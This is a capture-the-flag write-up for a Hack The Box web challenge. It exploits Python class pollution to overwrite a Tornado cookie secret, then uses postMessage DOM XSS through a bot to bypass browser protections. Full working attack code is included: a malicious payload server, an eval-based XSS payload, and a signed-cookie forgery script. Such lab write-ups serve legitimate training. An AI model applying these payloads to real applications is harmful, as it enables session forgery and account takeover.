🚩 HTB - Tornado Service
Executive Summary
- OS: Linux
- Key Technique: The challenge implements a vulnerable website that has loose CORS rules, a robot that blindly go to a user input website, and vulnerable update endpoint that allows arbitrary recursive update to internal objects, allowing Python - Class Pollution and overwriting of environment variables, which allow attacker to forge valid cookie, impersonate users and access forbidden endpoints.
- Status:
Completed
Reconnaissance
Configurations
The requirements.txt file lists out the installed packaged library used by the application that are selenium version 4.22.0 and tornado version 6.4.1.
selenium is a common library used to create bot users in CTF challenge, while tornado is a web framework used to create websites.
This specific version of tornado is vulnerable to multiple DoS CVEs such as CVE-2024-52804. Not sure how it can be used, but we’ll see.
Main App
The main application is implementing a very loose CORS rules:

Access-Control-Allow-Origin: *: allow cross-site responses to be read.Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS: allow the all response of all type of request to be read.Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with: allow these custom headers to be attached to the requests.
The most dangerous one is certainly the infamous Access-Control-Allow-Origin: *.

The request must be from localhost, this must mean we need to make the bot to make the request to this endpoint for us. What’s interesting is the update_tornados() function where it recursively update the internal object tornado. This pattern we can see in the JavaScript - Prototype Pollution vulnerability and in the HTB - Artificial University challenge, both of which involve us to inject a new attribute to an object and exploit the vulnerable use of this attributes.
The next endpoint is the report endpoint where we send a URL to the bot visit, the algorithm is simple without any kind of filter.

The bot_thread() method just creates a new thread to run the bot_runner() function inside the bot.py file. This bot does not have any credentials, so it’s only role must be just to visit this malicious website of ours.

The application has a /login endpoint but has no /register endpoint. What’s more intriguing though, is the fact the endpoint is broken, the user validation checking loops through the USERS[] list but breaks immediately after one epoch. This means whatever we input, if not match the credentials first user inside the list, will be returned as invalid.

The passwords are randomly generated so we cannot guess it or forge it for easy access.
And finally is the handler for the /stats endpoint which serves us the flag. This endpoint only require the current user accessing it to be logged in.

Exploitation
Python Class Pollution
To be fair the information I’ve gathered during the reconnaissance phase is not enough to produce a clear attack chain. I decide to google some more information, the first thing do is to check the prototype pollution vulnerability in Python.
I go ahead and google python prototype pollution and come across this blog and I found the exact same merging algorithm:

Reading further into the blog, it is revealed that this can allow us to access global python variables which we should not have access to.

__globals__ is a special dictionary that contains points to any defined variable inside the ‘module’ (which is just a fancy way of implying the python file). In order to access this dictionary, the blog used this payload:

{'__class__':
{'__init__':
{'__globals__':
...
}
}
}__class__ is a double-underscore attribute of an object that points to its class, for example:
class Dog():
pass
dog = Dog()
print(dog.__class__)
print(dog.__class__ is Dog)
Therefore, we can access the __init__() function (which is the default constructor) of that class and therefore access the __globals__ of that function.
Here the object that we have access to is the TornadoObject defined inside the main.py file. Note that __globals__ contains the variables of the module in which the function was DEFINED not where it was called. Therefore, to see what does the __globals__ of this TornadoObject contains, I create a test.py in the same directory as the main.py.
import sys
import os
from pprint import pprint
current_dir = os.path.dirname(os.path.abspath(__file__))
parent_dir = os.path.dirname(current_dir)
if parent_dir not in sys.path:
sys.path.insert(0, parent_dir)
from main import TornadoObject
testObj = TornadoObject("abc", "bde", "efg")
testObj.__class__.__init__.__globals__
pprint(testObj.__class__.__init__.__globals__)The output of this program is a long dictionary, in which I specifically notice these two:
{'APP': <tornado.web.Application object at 0x0000020C17F43770>,
...
'USERS': [{'password': '425ee977a6c59e6a17d3d3b0e7734724533e98b3433f3f8e1a0d33c807ced85e',
'username': 'lean@tornado-service.htb'},
{'password': '33c62f2d5e85e1098d54495d195bb33bb813daaa54d30cdd9b6b941928418fa7',
'username': 'xclow3n@tornado-service.htb'},
{'password': '519194a16ae5edf740debe9644cd00dff3bd1f3697291d4f2a06e1162ac7c016',
'username': 'makelaris@tornado-service.htb'}],
...
}Since I got access to the USERS list, I may be able to change the password of USERS[0] (this is because the login loop only run one epoch).
import sys
import os
from pprint import pprint
current_dir = os.path.dirname(os.path.abspath(__file__))
parent_dir = os.path.dirname(current_dir)
if parent_dir not in sys.path:
sys.path.insert(0, parent_dir)
from main import TornadoObject
from application.util.general import update_tornados
testObj = TornadoObject("abc", "bde", "efg")
testObj.__class__.__init__.__globals__
input = {"__class__": {"__init__": {"__globals__": { "USERS": {"0" : {"password" : "admin"}}}}}}
update_tornados(input, testObj)
pprint(testObj.__class__.__init__.__globals__['USERS'][0]['password'])An AttributeError was immediately raised:

It appear that we can not touch the USERS[] list because python list does not have the method get(). Let’s try look inside APP:

There is something very interesting is that we can access cookie_secret, according to the Tornado documentation, cookie_secret is the variable used for its cookie generation.



The set_secure_cookie() method used inside the login handler is just an alias for the method set_signed_cookie(). The functions takes in the username and sign the cookie using the secret. Since we know all usernames and we can change the cookie, we can impersonate any users!
But let’s see if we can actually change the value of this secret:
import sys
import os
from pprint import pprint
current_dir = os.path.dirname(os.path.abspath(__file__))
parent_dir = os.path.dirname(current_dir)
if parent_dir not in sys.path:
sys.path.insert(0, parent_dir)
from main import TornadoObject
from application.util.general import update_tornados
testObj = TornadoObject("abc", "bde", "efg")
testObj.__class__.__init__.__globals__
input = {"__class__": {"__init__": {"__globals__": {"APP": {"settings" : {"cookie_secret" : "test"}}}}}}
update_tornados(input, testObj)
pprint(testObj.__class__.__init__.__globals__['APP'].settings['cookie_secret'])
The CSRF Rabbit Hole
The exploit path is now clear:
- Create a webserver that has an endpoint called
/agent-detailsthat host a malicious HTML POST form that send requests to the/update_tornadoendpoint and change the cookie secret. - Forge the cookie of a user.
- Access the
/statsendpoint with the forged cookie and get the flag.
Based on this, I created 2 files, one file is called server.py which is the python server hosting my malicious page and trigger the CSRF attack the poison the cookie_secret, the second file is called exploit.py which contains the rest of the exploit logic which forge the cookie and access the forbidden endpoint:
# server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
PORT = 80
HTML_PAYLOAD = """
<!DOCTYPE html>
<html>
<body>
<script>
fetch("http://localhost:1337/update_tornado", {
method: "POST",
mode: "no-cors",
body: JSON.stringify({
"machine_id": "EXISTING_MACHINE_ID",
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "pwn"
}
}
}
}
}
})
});
</script>
</body>
</html>
"""
class MaliciousServer(BaseHTTPRequestHandler):
def do_GET(self):
print(f"\n[+] Incoming GET request for: {self.path} from {self.client_address}")
if self.path == '/agent_details':
try:
payload_bytes = HTML_PAYLOAD.encode('utf-8')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.send_header('Connection', 'close')
self.send_header('Content-Length', str(len(payload_bytes)))
self.end_headers()
self.wfile.write(payload_bytes)
print("[+] Payload served successfully to the bot!")
except Exception as e:
self.send_response(500)
self.end_headers()
print(f"[-] Error: {e}")
elif self.path == '/favicon.ico':
self.send_response(200)
self.send_header('Content-type', 'image/x-icon')
self.end_headers()
return
else:
self.send_response(404)
self.end_headers()
print("[-] Bot requested an unknown path.")
if __name__ == "__main__":
print(f"[*] Starting local server on port {PORT}")
server = HTTPServer(('0.0.0.0', PORT), MaliciousServer)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Shutting down server.")
server.server_close()# exploit.py
import time
import requests
import tornado.web
TARGET_URL = "http://localhost:1337"
NGROK_URL = "YOUR_NGROK_TCP_IP"
def exploit():
print(f"[*] Sending bot to http://{NGROK_URL}/agent_details")
try:
ssrf_url = f"{TARGET_URL}/report_tornado?ip={NGROK_URL}"
response = requests.get(ssrf_url)
print(f"[*] Target responded to SSRF trigger: {response.status_code}")
except Exception as e:
print(f"[-] Failed to reach target: {e}")
return
time.sleep(5)
print("[*] Forging cookie")
forged_cookie_bytes = tornado.web.create_signed_value(
secret="pwn",
name="user",
value="lean@tornado-service.htb",
version=2
)
forged_cookie = forged_cookie_bytes.decode('utf-8')
print(f"[+] Forged Cookie: {forged_cookie}")
cookies = {"user": forged_cookie}
response = requests.get(f"{TARGET_URL}/stats", cookies=cookies)
if response.status_code == 200:
print("\n[+] Exploit successful! Response from server:")
print(response.text)
else:
print(f"\n[-] Exploit failed. Status code: {response.status_code}")
if __name__ == "__main__":
exploit()The exploit failed silently. After adding debug print functions, it turns out that the reason was inside the bot’s browser. I tried downloading selenium, creating a similar bot file and make it open the browser without the --headless option.

I tried searching the error on the internet and came across this post on StackOverflow. The post was 5 years ago and it says that the problem caused by something called Private Network Access, follow a link on the post led me to this page

This description fits exactly what I’ve been facing. But to confirm for sure, I try to find more information about this and found this post that tells me where to check for the problem.


The option was default to ask (default), but when I open the browser, there was no asking pop-up, why? I found the answer here:

My page was using HTTP, not HTTPS, it was considered insecure, that’s why there was no pop-up. So this attack vector is blocked, I thought about using HTML POST form, however, HTML forms does not support Content-Type: application/json so I cannot use that.
DOM XSS
There is one file that I’ve overlooked. In side the static/js folder, there is a custom Javascript file called tornado-service.js that defines the outlook of the page.

We can see classic evidence of DOM XSS vulnerability. The problem is… this is innerHTML is used when the index page try to display tornadoes’s information. If we want to perform DOM XSS, we need to inject HTML block into the tornadoes’s information, which is equivalent to update the information of a tornadoes, which , apparently, also is something we’ve been trying but failed.
When all hopes seems to have lost, I notice there is something at the end of the file:

There is a way that allows us to create a new tornado and add it to the list? I found some more information regarding the message event.

It seems like this event enables cross-site communication between something called window objects which is a fancy way of implying tabs, pop-ups, or iframes. An object will send a message to the other using the postMessage() function. The page also shows a simple use of this message using the window.open() which forces the browser to create a new tab. I can open the index page inside the bot’s browser by adding this to my page’s javascript, then send a message to this tab:
let targetWindow = window.open("http://localhost:1337/");
let message = {
machine_id: "something",
ip_address: "something",
status: "something"
}
// set a time out before firing the function so that the target window is properly loaded
setTimeout(() => {targetWindow.postMessage(message, "http://localhost:1337/");}, 1000);
A new tornado is loaded and displayed at the bottom of the page. Now we can confirm DOM XSS vulnerability by create a new tornado with the id containing a HTML XSS image payload:
let payload = "<img src=x onerror=alert(1)>"
let targetWindow = window.open("http://localhost:1337/");
let message = {
machine_id: payload,
ip_address: "something",
status: "something"
}
// set a time out before firing the function so that the target window is properly loaded
setTimeout(() => {targetWindow.postMessage(message, "http://localhost:1337/");}, 1000);
Since now the XSS is triggered in the same origin of the docker container, it is considered to be same-origin request now and we bypass the PNA, SOP, etc. and send request to /update-tornado.
Proof of Concept
# server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
PORT = 80
EXPLOIT_JS = """
fetch('/get_tornados')
.then(r => r.json())
.then(data => {
fetch('/update_tornado', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
"machine_id": data[0].machine_id,
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "pwn"
}
}
}
}
}
})
})
});
"""
encoded_js = base64.b64encode(EXPLOIT_JS.encode()).decode()
HTML_PAYLOAD = f"""
<!DOCTYPE html>
<html>
<body>
<h1>Exploit Running...</h1>
<script>
const xssPayload = `<img src=x onerror="eval(atob('{encoded_js}'))">`;
let targetWindow = window.open("http://localhost:1337/");
setTimeout(() => {{
targetWindow.postMessage({{
machine_id: xssPayload,
ip_address: "1",
status: "1"
}}, "*");
}}, 1000);
</script>
</body>
</html>
"""
class MaliciousServer(BaseHTTPRequestHandler):
def do_GET(self):
print(f"\n[+] Incoming GET request for: {self.path} from {self.client_address}")
if self.path == '/agent_details':
try:
payload_bytes = HTML_PAYLOAD.encode('utf-8')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.send_header('Connection', 'close')
self.send_header('Content-Length', str(len(payload_bytes)))
self.end_headers()
self.wfile.write(payload_bytes)
print("[+] Payload served successfully to the bot!")
except FileNotFoundError:
self.send_response(500)
self.end_headers()
print("[-] Error: 'agent-details.html' not found in this directory!")
elif self.path == '/favicon.ico':
self.send_response(200)
self.send_header('Content-type', 'image/x-icon')
self.end_headers()
return
else:
self.send_response(404)
self.end_headers()
print("[-] Bot requested an unknown path.")
if __name__ == "__main__":
print(f"[*] Starting local server on port {PORT}")
print("[*] Waiting for bot to connect...")
server = HTTPServer(('0.0.0.0', PORT), MaliciousServer)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Shutting down server.")
server.server_close()# exploit.py
import time
import requests
import tornado.web
TARGET_URL = "http://localhost:1337"
NGROK_URL = "YOUR_NGROK_TCP_IP"
def exploit():
print(f"[*] Sending bot to http://{NGROK_URL}/agent_details")
try:
ssrf_url = f"{TARGET_URL}/report_tornado?ip={NGROK_URL}"
response = requests.get(ssrf_url)
print(f"[*] Target responded to SSRF trigger: {response.status_code}")
except Exception as e:
print(f"[-] Failed to reach target: {e}")
return
time.sleep(5)
print("[*] Forging cookie")
forged_cookie_bytes = tornado.web.create_signed_value(
secret="pwn",
name="user",
value="lean@tornado-service.htb",
version=2
)
forged_cookie = forged_cookie_bytes.decode('utf-8')
print(f"[+] Forged Cookie: {forged_cookie}")
cookies = {"user": forged_cookie}
response = requests.get(f"{TARGET_URL}/stats", cookies=cookies)
if response.status_code == 200:
print("\n[+] Exploit successful! Response from server:")
print(response.text)
else:
print(f"\n[-] Exploit failed. Status code: {response.status_code}")
if __name__ == "__main__":
exploit()Loot & Flags
Flag: HTB{s1mpl3_stuff_but_w1th_4_tw15t!}